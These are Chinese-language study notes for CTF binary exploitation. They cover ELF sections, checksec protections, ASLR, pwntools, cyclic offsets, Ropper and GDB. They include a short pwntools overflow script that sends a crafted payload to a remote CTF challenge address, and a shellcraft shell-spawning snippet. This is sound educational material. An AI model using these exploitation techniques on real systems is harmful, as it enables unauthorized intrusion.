# PWN
# ELF 文件
ELF 文件中包含多个节 section.
| 名称 | 作用 |
|---|---|
.text |
代码 |
.rdata |
字符串,不可修改的数据 |
.data |
已经初始化的可修改数据 |
.bss |
未被初始化的可修改数据 |
.ple 与 .got |
动态链接函数地址 |

gdb a.out | |
start | |
vmmap |
用 vmmap 可以看到内存的表
可以看到内存里有 libc.so 这个库
libc 直接运行可以显示出版本
./libc-2.23.so |
# 工具
# Pwntool
# 本地调试
io = process("./vuln") | |
io = process(["python3", "chall.py"]) # 如果运行 python |
# 返回可交互的界面
from pwn import * | |
io = remote('ip',port) | |
io.interactive() |
# checksec 查看文件信息
checksec get_shell |
会显示
- Arch, 架构
- Stack: No canary 说明没有栈 canary
- NX 防护。如果 NX Enabled 说明堆栈不可执行
- PIE:在没有开启 PIE 的情况下,bss 段的地址是固定的
# ASLR
现代操作系统都默认开启 ASLR
ASLR: 开启时,堆栈,libc 的地址会随机化
# CYCLIC
可以生成可以定位的字符串
cyclic 64 # 长度为 64 |
确定偏移:先去 gdb 溢出后找到 Invalid address 0x62616164 之类的
然后
cyclic -l 0x62616164 |
得出偏移,然后可以放在
asm(shellcraft.sh()).lshift(<偏移量>, 'a') |
# Stack Overflow 栈溢出
栈溢出是向高地址溢出
攻防世界 hello_pwn
from pwn import * | |
io = remote("61.147.171.105", 53481) | |
io.sendline(b"a"*4 + p64(0x6E756161)) | |
io.interactive() |
# ROP
# Ropper
# 在 Ubuntu 添加 Kali 源
sudo 编辑 /etc/apt/sources.list 加入
deb http://http.kali.org/kali kali-rolling main contrib non-free |
然后添加 GPG 密钥
wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add - |
然后 apt update 就可以了
# 安装 Ropper
sudo apt install ropper |
# 使用 Ropper
打开 ropper
ropper |
加载文件
file main.main |
搜索 gadget
search jmp |
退出
quit |
# GDB 调试
# TUI
# 打开 TUI
tui enable |
# 打开汇编窗口
layout asm |
# 打印
print counter | |
print $r3 |
# 检查内存
x /1wx 0x08000000 | |
x /16wx $sp |